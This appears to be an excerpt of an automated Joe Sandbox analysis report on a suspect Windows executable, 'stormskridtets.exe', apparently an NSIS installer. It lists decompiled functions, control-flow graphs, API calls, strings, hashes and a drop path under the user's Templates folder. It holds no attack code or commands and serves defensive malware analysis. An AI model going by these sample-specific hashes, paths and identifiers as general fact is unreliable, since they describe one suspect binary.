                                    • API ID: Global$Free$lstrcpy$Alloc$AddressHandleLibraryLoadModuleProclstrlen
                                    • String ID:
                                    • API String ID: 245916457-0
                                    • Opcode ID: bc615cade189f396cb4c23a05b3ff1d9e98a750fee1b9889f536b817ceb136c9
                                    • Instruction ID: dc165cbd5021a675f1ff03870a9119791790231c5ab045dcc3d2cf347b8a915a
                                    • Opcode Fuzzy Hash: bc615cade189f396cb4c23a05b3ff1d9e98a750fee1b9889f536b817ceb136c9
                                    • Instruction Fuzzy Hash: 9422AB72D0460EDEEB12CFA5C9827EDB7B5FB08315F13452AD197EA280D7709A80CB58
                                    Function 00405B00 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148filestringCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 606 405b00-405b26 call 405dcb 609 405b28-405b3a DeleteFileW 606->609 610 405b3f-405b46 606->610 611 405cbc-405cc0 609->611 612 405b48-405b4a 610->612 613 405b59-405b69 call 4063ee 610->613 614 405b50-405b53 612->614 615 405c6a-405c6f 612->615 621 405b78-405b79 call 405d0f 613->621 622 405b6b-405b76 lstrcatW 613->622 614->613 614->615 615->611 618 405c71-405c74 615->618 619 405c76-405c7c 618->619 620 405c7e-405c86 call 40674c 618->620 619->611 620->611 630 405c88-405c9c call 405cc3 call 405ab8 620->630 624 405b7e-405b82 621->624 622->624 626 405b84-405b8c 624->626 627 405b8e-405b94 lstrcatW 624->627 626->627 629 405b99-405bb5 lstrlenW FindFirstFileW 626->629 627->629 631 405bbb-405bc3 629->631 632 405c5f-405c63 629->632 646 405cb4-405cb7 call 405456 630->646 647 405c9e-405ca1 630->647 634 405be3-405bf7 call 4063ee 631->634 635 405bc5-405bcd 631->635 632->615 637 405c65 632->637 648 405bf9-405c01 634->648 649 405c0e-405c19 call 405ab8 634->649 638 405c42-405c52 FindNextFileW 635->638 639 405bcf-405bd7 635->639 637->615 638->631 645 405c58-405c59 FindClose 638->645 639->634 642 405bd9-405be1 639->642 642->634 642->638 645->632 646->611 647->619 651 405ca3-405cb2 call 405456 call 4061b4 647->651 648->638 652 405c03-405c07 call 405b00 648->652 657 405c3a-405c3d call 405456 649->657 658 405c1b-405c1e 649->658 651->611 660 405c0c 652->660 657->638 661 405c20-405c30 call 405456 call 4061b4 658->661 662 405c32-405c38 658->662 660->638 661->638 662->638
                                    APIs
                                    • DeleteFileW.KERNELBASE(?,?,771B3420,C:\Users\user~1\AppData\Local\Temp\,00000000), ref: 00405B29
                                    • lstrcatW.KERNEL32(007A3F50,\*.*,007A3F50,?), ref: 00405B71
                                    • lstrcatW.KERNEL32(?,0040A014,?,007A3F50,?), ref: 00405B94
                                    • lstrlenW.KERNEL32(?,?,0040A014,?,007A3F50,?), ref: 00405B9A
                                    • FindFirstFileW.KERNELBASE(007A3F50,?,?,?,0040A014,?,007A3F50,?), ref: 00405BAA
                                    • FindNextFileW.KERNEL32(00000000,?,000000F2,?,?,?,?,?), ref: 00405C4A
                                    • FindClose.KERNEL32(00000000), ref: 00405C59
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1941638005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                    • Associated: 00000000.00000002.1941614636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941658971.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.00000000007DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.000000000081E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_400000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
                                    • String ID: "C:\Users\user\Desktop\stormskridtets.exe"$C:\Users\user~1\AppData\Local\Temp\$P?z$\*.*
                                    • API String ID: 2035342205-1882120852
                                    • Opcode ID: 2e078cdcde706d48225d83f3244a5f4697d9a3fc09f8fc82c0d1a14fe090b8d5
                                    • Instruction ID: d176cfcb2707c6ba555092c79fa60715814496245c058da0d6595325efdb1864
                                    • Opcode Fuzzy Hash: 2e078cdcde706d48225d83f3244a5f4697d9a3fc09f8fc82c0d1a14fe090b8d5
                                    • Instruction Fuzzy Hash: BE41D530804A15AAEB216B658D89EBF7678EF42715F14813FF801711D2DB7C5E82CE6E
                                    Function 0040674C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON
                                    Download Yara Rule
                                    APIs
                                    • FindFirstFileW.KERNELBASE(?,007A4F98,C:\,00405E14,C:\,C:\,00000000,C:\,C:\,?,?,C:\Users\user~1\AppData\Local\Temp\,00405B20,?,771B3420,C:\Users\user~1\AppData\Local\Temp\), ref: 00406757
                                    • FindClose.KERNEL32(00000000), ref: 00406763
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1941638005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                    • Associated: 00000000.00000002.1941614636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941658971.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.00000000007DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.000000000081E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_400000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: Find$CloseFileFirst
                                    • String ID: C:\
                                    • API String ID: 2295610775-3404278061
                                    • Opcode ID: 93d274fea3e94b44f6f55b1f097fc665565d90e42f153d0ad468ae4ce1295179
                                    • Instruction ID: 5230d556015edc92dacd95909e5542708b333c59f405b635cf09ddc887f28092
                                    • Opcode Fuzzy Hash: 93d274fea3e94b44f6f55b1f097fc665565d90e42f153d0ad468ae4ce1295179
                                    • Instruction Fuzzy Hash: CCD012315192205FC75027386F0C84B7A599F567353264B36F0AAF21E0C6788C3286AC
                                    Function 00403E6B Relevance: 48.3, APIs: 32, Instructions: 346windowstringCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 139 403e6b-403e7d 140 403e83-403e89 139->140 141 403fbe-403fcd 139->141 140->141 142 403e8f-403e98 140->142 143 40401c-404031 141->143 144 403fcf-404017 GetDlgItem * 2 call 404344 SetClassLongW call 40140b 141->144 145 403e9a-403ea7 SetWindowPos 142->145 146 403ead-403eb0 142->146 148 404071-404076 call 404390 143->148 149 404033-404036 143->149 144->143 145->146 151 403eb2-403ec4 ShowWindow 146->151 152 403eca-403ed0 146->152 157 40407b-404096 148->157 154 404038-404043 call 401389 149->154 155 404069-40406b 149->155 151->152 158 403ed2-403ee7 DestroyWindow 152->158 159 403eec-403eef 152->159 154->155 176 404045-404064 SendMessageW 154->176 155->148 156 404311 155->156 164 404313-40431a 156->164 162 404098-40409a call 40140b 157->162 163 40409f-4040a5 157->163 165 4042ee-4042f4 158->165 167 403ef1-403efd SetWindowLongW 159->167 168 403f02-403f08 159->168 162->163 172 4040ab-4040b6 163->172 173 4042cf-4042e8 DestroyWindow EndDialog 163->173 165->156 171 4042f6-4042fc 165->171 167->164 174 403fab-403fb9 call 4043ab 168->174 175 403f0e-403f1f GetDlgItem 168->175 171->156 178 4042fe-404307 ShowWindow 171->178 172->173 179 4040bc-404109 call 40642b call 404344 * 3 GetDlgItem 172->179 173->165 174->164 180 403f21-403f38 SendMessageW IsWindowEnabled 175->180 181 403f3e-403f41 175->181 176->164 178->156 209 404113-40414f ShowWindow KiUserCallbackDispatcher call 404366 EnableWindow 179->209 210 40410b-404110 179->210 180->156 180->181 184 403f43-403f44 181->184 185 403f46-403f49 181->185 186 403f74-403f79 call 40431d 184->186 187 403f57-403f5c 185->187 188 403f4b-403f51 185->188 186->174 190 403f92-403fa5 SendMessageW 187->190 192 403f5e-403f64 187->192 188->190 191 403f53-403f55 188->191 190->174 191->186 195 403f66-403f6c call 40140b 192->195 196 403f7b-403f84 call 40140b 192->196 205 403f72 195->205 196->174 206 403f86-403f90 196->206 205->186 206->205 213 404151-404152 209->213 214 404154 209->214 210->209 215 404156-404184 GetSystemMenu EnableMenuItem SendMessageW 213->215 214->215 216 404186-404197 SendMessageW 215->216 217 404199 215->217 218 40419f-4041de call 404379 call 403e4c call 4063ee lstrlenW call 40642b SetWindowTextW call 401389 216->218 217->218 218->157 229 4041e4-4041e6 218->229 229->157 230 4041ec-4041f0 229->230 231 4041f2-4041f8 230->231 232 40420f-404223 DestroyWindow 230->232 231->156 233 4041fe-404204 231->233 232->165 234 404229-404256 CreateDialogParamW 232->234 233->157 235 40420a 233->235 234->165 236 40425c-4042b3 call 404344 GetDlgItem GetWindowRect ScreenToClient SetWindowPos call 401389 234->236 235->156 236->156 241 4042b5-4042c8 ShowWindow call 404390 236->241 243 4042cd 241->243 243->165
                                    APIs
                                    • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403EA7
                                    • ShowWindow.USER32(?), ref: 00403EC4
                                    • DestroyWindow.USER32 ref: 00403ED8
                                    • SetWindowLongW.USER32(?,00000000,00000000), ref: 00403EF4
                                    • GetDlgItem.USER32(?,?), ref: 00403F15
                                    • SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403F29
                                    • IsWindowEnabled.USER32(00000000), ref: 00403F30
                                    • GetDlgItem.USER32(?,00000001), ref: 00403FDE
                                    • GetDlgItem.USER32(?,00000002), ref: 00403FE8
                                    • SetClassLongW.USER32(?,000000F2,?), ref: 00404002
                                    • SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00404053
                                    • GetDlgItem.USER32(?,00000003), ref: 004040F9
                                    • ShowWindow.USER32(00000000,?), ref: 0040411A
                                    • KiUserCallbackDispatcher.NTDLL(?,?), ref: 0040412C
                                    • EnableWindow.USER32(?,?), ref: 00404147
                                    • GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 0040415D
                                    • EnableMenuItem.USER32(00000000), ref: 00404164
                                    • SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 0040417C
                                    • SendMessageW.USER32(?,00000401,00000002,00000000), ref: 0040418F
                                    • lstrlenW.KERNEL32(007A1F48,?,007A1F48,00000000), ref: 004041B9
                                    • SetWindowTextW.USER32(?,007A1F48), ref: 004041CD
                                    • ShowWindow.USER32(?,0000000A), ref: 00404301
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1941638005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                    • Associated: 00000000.00000002.1941614636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941658971.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.00000000007DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.000000000081E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_400000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
                                    • String ID:
                                    • API String ID: 3282139019-0
                                    • Opcode ID: f1a328e51306031731dbcce9d1c3737ebdd7014b04a9a2d8d616989602e21706
                                    • Instruction ID: fd8a01c06953bfbcdc6c7a7ca4fde1a241a6ed83f8ebcdeac2000881ab9a06ac
                                    • Opcode Fuzzy Hash: f1a328e51306031731dbcce9d1c3737ebdd7014b04a9a2d8d616989602e21706
                                    • Instruction Fuzzy Hash: 67C1BFB1604604AFDB206F61ED85D2A3B78EBCA705B10853EF651B11F0CB3D9941DB6E
                                    Function 00403ABD Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 215stringregistryCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 244 403abd-403ad5 call 4067e3 247 403ad7-403ae7 call 406335 244->247 248 403ae9-403b20 call 4062bc 244->248 257 403b43-403b6c call 403d93 call 405dcb 247->257 253 403b22-403b33 call 4062bc 248->253 254 403b38-403b3e lstrcatW 248->254 253->254 254->257 262 403b72-403b77 257->262 263 403bfe-403c06 call 405dcb 257->263 262->263 264 403b7d-403ba5 call 4062bc 262->264 269 403c14-403c39 LoadImageW 263->269 270 403c08-403c0f call 40642b 263->270 264->263 271 403ba7-403bab 264->271 273 403cba-403cc2 call 40140b 269->273 274 403c3b-403c6b RegisterClassW 269->274 270->269 275 403bbd-403bc9 lstrlenW 271->275 276 403bad-403bba call 405cf0 271->276 288 403cc4-403cc7 273->288 289 403ccc-403cd7 call 403d93 273->289 277 403c71-403cb5 SystemParametersInfoW CreateWindowExW 274->277 278 403d89 274->278 282 403bf1-403bf9 call 405cc3 call 4063ee 275->282 283 403bcb-403bd9 lstrcmpiW 275->283 276->275 277->273 281 403d8b-403d92 278->281 282->263 283->282 287 403bdb-403be5 GetFileAttributesW 283->287 292 403be7-403be9 287->292 293 403beb-403bec call 405d0f 287->293 288->281 297 403d60-403d68 call 405529 289->297 298 403cdd-403cf7 ShowWindow call 406773 289->298 292->282 292->293 293->282 303 403d82-403d84 call 40140b 297->303 304 403d6a-403d70 297->304 305 403d03-403d15 GetClassInfoW 298->305 306 403cf9-403cfe call 406773 298->306 303->278 304->288 307 403d76-403d7d call 40140b 304->307 310 403d17-403d27 GetClassInfoW RegisterClassW 305->310 311 403d2d-403d50 DialogBoxParamW call 40140b 305->311 306->305 307->288 310->311 315 403d55-403d5e call 403a0d 311->315 315->281
                                    APIs
                                      • Part of subcall function 004067E3: GetModuleHandleA.KERNEL32(?,00000020,?,00403514,0000000B), ref: 004067F5
                                      • Part of subcall function 004067E3: GetProcAddress.KERNEL32(00000000,?), ref: 00406810
                                    • lstrcatW.KERNEL32(1033,007A1F48,80000001,Control Panel\Desktop\ResourceLocale,00000000,007A1F48,00000000,00000002,771B3420,C:\Users\user~1\AppData\Local\Temp\,"C:\Users\user\Desktop\stormskridtets.exe",00000000), ref: 00403B3E
                                    • lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\struldbrug\bentwoods,1033,007A1F48,80000001,Control Panel\Desktop\ResourceLocale,00000000,007A1F48,00000000,00000002,771B3420), ref: 00403BBE
                                    • lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\struldbrug\bentwoods,1033,007A1F48,80000001,Control Panel\Desktop\ResourceLocale,00000000,007A1F48,00000000), ref: 00403BD1
                                    • GetFileAttributesW.KERNEL32(Call), ref: 00403BDC
                                    • LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\struldbrug\bentwoods), ref: 00403C25
                                      • Part of subcall function 00406335: wsprintfW.USER32 ref: 00406342
                                    • RegisterClassW.USER32(007A7A00), ref: 00403C62
                                    • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403C7A
                                    • CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403CAF
                                    • ShowWindow.USER32(00000005,00000000), ref: 00403CE5
                                    • GetClassInfoW.USER32(00000000,RichEdit20W,007A7A00), ref: 00403D11
                                    • GetClassInfoW.USER32(00000000,RichEdit,007A7A00), ref: 00403D1E
                                    • RegisterClassW.USER32(007A7A00), ref: 00403D27
                                    • DialogBoxParamW.USER32(?,00000000,00403E6B,00000000), ref: 00403D46
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1941638005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                    • Associated: 00000000.00000002.1941614636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941658971.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.00000000007DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.000000000081E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_400000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
                                    • String ID: "C:\Users\user\Desktop\stormskridtets.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user~1\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\struldbrug\bentwoods$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
                                    • API String ID: 1975747703-992869811
                                    • Opcode ID: ed5882197ad2af45622ab53baadaf8c7f939305731a510e2915a0577b65485f7
                                    • Instruction ID: 7ce8ec14a48fa11d69b3a5e1f0875b7083b8d607cd9ed6182ea3b60f82ca9994
                                    • Opcode Fuzzy Hash: ed5882197ad2af45622ab53baadaf8c7f939305731a510e2915a0577b65485f7
                                    • Instruction Fuzzy Hash: 286193702407007ED320AB669D46F2B3A7CEB85B49F40853FF941B22E2DB7D99018B6D
                                    Function 00403015 Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 181memoryCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 318 403015-403063 GetTickCount GetModuleFileNameW call 405ee4 321 403065-40306a 318->321 322 40306f-40309d call 4063ee call 405d0f call 4063ee GetFileSize 318->322 323 403245-403249 321->323 330 4030a3 322->330 331 403188-403196 call 402fb1 322->331 333 4030a8-4030bf 330->333 337 403198-40319b 331->337 338 4031eb-4031f0 331->338 335 4030c1 333->335 336 4030c3-4030cc call 403444 333->336 335->336 344 4031f2-4031fa call 402fb1 336->344 345 4030d2-4030d9 336->345 340 40319d-4031b5 call 40345a call 403444 337->340 341 4031bf-4031e9 GlobalAlloc call 40345a call 40324c 337->341 338->323 340->338 366 4031b7-4031bd 340->366 341->338 365 4031fc-40320d 341->365 344->338 349 403155-403159 345->349 350 4030db-4030ef call 405e9f 345->350 354 403163-403169 349->354 355 40315b-403162 call 402fb1 349->355 350->354 369 4030f1-4030f8 350->369 360 403178-403180 354->360 361 40316b-403175 call 4068d0 354->361 355->354 360->333 364 403186 360->364 361->360 364->331 370 403215-40321a 365->370 371 40320f 365->371 366->338 366->341 369->354 373 4030fa-403101 369->373 375 40321b-403221 370->375 371->370 373->354 374 403103-40310a 373->374 374->354 376 40310c-403113 374->376 375->375 377 403223-40323e SetFilePointer call 405e9f 375->377 376->354 378 403115-403135 376->378 381 403243 377->381 378->338 380 40313b-40313f 378->380 382 403141-403145 380->382 383 403147-40314f 380->383 381->323 382->364 382->383 383->354 384 403151-403153 383->384 384->354
                                    APIs
                                    • GetTickCount.KERNEL32 ref: 00403026
                                    • GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\stormskridtets.exe,00000400,?,00000007,00000009,0000000B), ref: 00403042
                                      • Part of subcall function 00405EE4: GetFileAttributesW.KERNELBASE(?,00403055,C:\Users\user\Desktop\stormskridtets.exe,80000000,00000003,?,00000007,00000009,0000000B), ref: 00405EE8
                                      • Part of subcall function 00405EE4: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,00000007,00000009,0000000B), ref: 00405F0A
                                    • GetFileSize.KERNEL32(00000000,00000000,007B7000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\stormskridtets.exe,C:\Users\user\Desktop\stormskridtets.exe,80000000,00000003,?,00000007,00000009,0000000B), ref: 0040308E
                                    • GlobalAlloc.KERNELBASE(00000040,0000000B,?,00000007,00000009,0000000B), ref: 004031C4
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1941638005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                    • Associated: 00000000.00000002.1941614636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941658971.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.00000000007DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.000000000081E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_400000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
                                    • String ID: "C:\Users\user\Desktop\stormskridtets.exe"$"$C:\Users\user~1\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\stormskridtets.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
                                    • API String ID: 2803837635-805348417
                                    • Opcode ID: 08ca265c2c11c7ade98783a519f9a0a5c073a42a03571b96a4881a179354b053
                                    • Instruction ID: b65d07b499067b34cf8ea267e223a71d0fae98adc47698ec1498b1efb03bef53
                                    • Opcode Fuzzy Hash: 08ca265c2c11c7ade98783a519f9a0a5c073a42a03571b96a4881a179354b053
                                    • Instruction Fuzzy Hash: DD51D171900204ABDB119F64DD85B9E7EACEB45316F20843BE911BA2D1DB7C8F418B5D
                                    Function 0040642B Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209stringCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 670 40642b-406436 671 406438-406447 670->671 672 406449-40645f 670->672 671->672 673 406465-406472 672->673 674 406677-40667d 672->674 673->674 677 406478-40647f 673->677 675 406683-40668e 674->675 676 406484-406491 674->676 679 406690-406694 call 4063ee 675->679 680 406699-40669a 675->680 676->675 678 406497-4064a3 676->678 677->674 681 406664 678->681 682 4064a9-4064e7 678->682 679->680 686 406672-406675 681->686 687 406666-406670 681->687 684 406607-40660b 682->684 685 4064ed-4064f8 682->685 690 40660d-406613 684->690 691 40663e-406642 684->691 688 406511 685->688 689 4064fa-4064ff 685->689 686->674 687->674 697 406518-40651f 688->697 689->688 694 406501-406504 689->694 695 406623-40662f call 4063ee 690->695 696 406615-406621 call 406335 690->696 692 406651-406662 lstrlenW 691->692 693 406644-40664c call 40642b 691->693 692->674 693->692 694->688 699 406506-406509 694->699 708 406634-40663a 695->708 696->708 701 406521-406523 697->701 702 406524-406526 697->702 699->688 704 40650b-40650f 699->704 701->702 706 406561-406564 702->706 707 406528-406546 call 4062bc 702->707 704->697 709 406574-406577 706->709 710 406566-406572 GetSystemDirectoryW 706->710 716 40654b-40654f 707->716 708->692 712 40663c 708->712 714 4065e2-4065e4 709->714 715 406579-406587 GetWindowsDirectoryW 709->715 713 4065e6-4065ea 710->713 717 4065ff-406605 call 40669d 712->717 713->717 718 4065ec 713->718 714->713 720 406589-406593 714->720 715->714 721 406555-40655c call 40642b 716->721 722 4065ef-4065f2 716->722 717->692 718->722 726 406595-406598 720->726 727 4065ad-4065c3 SHGetSpecialFolderLocation 720->727 721->713 722->717 724 4065f4-4065fa lstrcatW 722->724 724->717 726->727 729 40659a-4065a1 726->729 730 4065c5-4065dc SHGetPathFromIDListW CoTaskMemFree 727->730 731 4065de 727->731 732 4065a9-4065ab 729->732 730->713 730->731 731->714 732->713 732->727
                                    APIs
                                    • GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 0040656C
                                    • GetWindowsDirectoryW.KERNEL32(Call,00000400,00000000,007A0F28,?,0040548D,007A0F28,00000000), ref: 0040657F
                                    • SHGetSpecialFolderLocation.SHELL32(0040548D,0079A700,00000000,007A0F28,?,0040548D,007A0F28,00000000), ref: 004065BB
                                    • SHGetPathFromIDListW.SHELL32(0079A700,Call), ref: 004065C9
